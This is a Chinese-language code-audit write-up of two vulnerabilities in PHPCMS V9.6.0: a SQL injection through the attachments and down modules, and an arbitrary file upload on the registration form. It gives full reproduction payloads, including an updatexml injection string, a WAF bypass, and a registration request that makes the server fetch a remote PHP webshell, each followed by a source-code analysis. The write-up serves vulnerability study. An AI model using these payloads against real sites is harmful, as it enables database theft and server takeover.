PHPCMS V9.6.0 代码审计
PHPCMS V9.6.0 代码审计
PHPCMS预备知识
PHPCMS是采用MVC模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。
| 参数名称 | 描述 | 位置 |
|---|---|---|
| m | 模型/模块名称 | phpcms/modules中模块目录名称 |
| c | 控制器名称 | phpcms/modules/模块/*.php 文件名称 |
| a | 事件名称 | phpcms/modules/模块/*.php 中方法名称 |
目录结构
api --接口文件目录
caches --网站缓存目录
html --存放网站的各种功能页面文件夹
install --网站安装目录
phpcms --网站框架主目录
phpsso_server --phpsso主目录
static --系统附属包
uploadfile --存放网站上传目录
index.php --网站入口
admin.php --后台管理入口
robots.txt --搜索引擎蜘蛛限制配置文件
1、WAP模块存在SQL注入
1.1 复现
第一步,bp抓包,抓 /index.php?m=wap&c=index&siteid=1这个页面的包
记录得到的set-Cookie:b74al3mS3jvKyZJ7pPeKT-a4WZzp9SCjuquSh4Gf
第二步,post请求访问下面的爆破注入语句(爆的是数据库库名)
构造payload:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid=2&catid=7&
讲payload进行url加密:
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26
post传参userid_flash,其中的值就是第一步我们得到的set-cookie
记录下加密后的json值
第三步,访问 /index.php?m=content&c=down&a_k=Json值
成功爆出数据库
1.2 分析
可以看出最后爆出的就是我们最后访问的数据,逆向分析一下:从/index.php?m=content&c=down&a_k=Json分析得出是利用了content模块中的down文件,里面有一个init方法,这个方法里面写了用 $_GET['a_k'] ,并且加密密钥为pc_base::load_config('system','auth_key')
继续分析这里发现就是一个简单的解密的函数,将传过来的a_k的值解密成特定的字符串,用parse_str函数给字符串以分割。之后将id传给get_one方法处理,这里id可以来自攻击者构造的恶意语句
解密之后的字符串:
{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid
=2&catid=7&","filename":""}
追到get_one方法发现这个方法又调用了sqls方法,sqls方法没有进行过滤直接进行的插入sql语句,之后执行sql语句
到这里回头分析第二步的poc
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=payload&m=1&f=haha&modelid=2&catid=7&
利用attachment模块中attachments文件的swfupload_json方法,这个方法有一个waf,将 %27过滤了,所以用了 %*27进行绕过,再下面引用了set_cookie方法
跟进到set_cookie方法,发现调用了sys_auth函数,也用了ENCODE解密,这里其实是可以直接可以看到的(到这里设置了cookie的值)
回到attachments里面继续分析,发现 __construct方法里面userid是个必要的值,并且后面进行了登录验证,如果没有这个userid就执行showmessage,所以就要提交一个post值。这里17行代码是进行了三目运算,我们没有userid执行的是表达式2——解码cookie值作为userid,里面又进行了一次三目运算,因为是没有userid的,所以执行表达式2——从post提交的userid_flash值进行解码当做userid。这里userid值为1,因为传入的值是加密后的1
这个加密密文是怎么得到的呢,看回第一个poc/index.php?m=wap&c=index&siteid=1,wap模块的index文件中对siteid进行三目运算,是否设置了siteid且整数部分大于0,结果是True会执行第一个表达式,取参数十进制数字的整数部分(trim函数和intval函数)下面就调用set_cookie函数加密siteid,将加密的siteid作为cookie的值 (就是这里将cookie的值设为1的加密后的值)
2、任意文件上传漏洞
2.1 复现
第一步,在注册页面抓包,能发现在生日的这一栏中的参数是info[birthday],猜想info里面可以替换成其他对应的值
第二步,在服务器上启用apache服务,写入一个phpinfo的php文件,这个文件一定要能被访问
第三步,构建poc (注:构建poc时有几个注意点)
- modelid取值(modelid取值有1,2,3,10,11,但是10不可以(info[content]需要调用editor函数,modelid为10不存在这个函数))
- info[birthday]修改为info[content]
- 每次发送数据包要修改username,password,email的值
siteid=1&modelid=11&username=13&password=131111&pwdconfirm=131111&email=131111%40163.com&nickname=13&info[content]=<img%20src=http://ip/phpinfo.txt?.php#.jpg>&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=
成功上传,验证代码是否能被解析
由此也能推出,可以直接上传一句话木马来达到拿shell的目的,修改payload
siteid=1&modelid=11&username=123&password=1231111&pwdconfirm=1231111&email=1231111%40163.com&nickname=13&info[content]=<img%20src=http://ip/ma.txt?.php#.jpg>&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=
2.2 分析
根据url分析,注册页面是在member模块中实现的,分析后发现在register方法这里包含了caches中的两个文件并且存在 $_POST['info'] 传入了member_input类的get方法
跟进后发现 \(data**数据来自上面的 **\)_POST['info'] ,并且可以调用该类的所有方法(47、48行代码)
最终发现可以调用该方法中的editor方法,这个方法中调用了attachment中的download方法
跟踪到attachment.php找到download方法,分析发现\(ext默认参数是**`gif|jpg|jpeg|bmp|png`**,下面将\)ext加进正则匹配中,为了对上传完后的文件执行过滤操作确保是图片类型文件,不过可以用 http://xxxx/1.php#a.jpg 绕过正则,之后经过fillurl方法处理。
进入fillurl方法中,对图片地址进行一次处理,将 # 后面的部分去掉,http://xxxx/1.php#a.jpg变成了http://xxxx/1.php(这里是用strpos函数,对surl内容匹配到第一次出现 # 的地方并记录位置,后面用substr函数截断其后面的部分)
回到download方法后,用fileext方法进行命名后程序直接用copy函数将文件直接复制到本地

浙公网安备 33010602011771号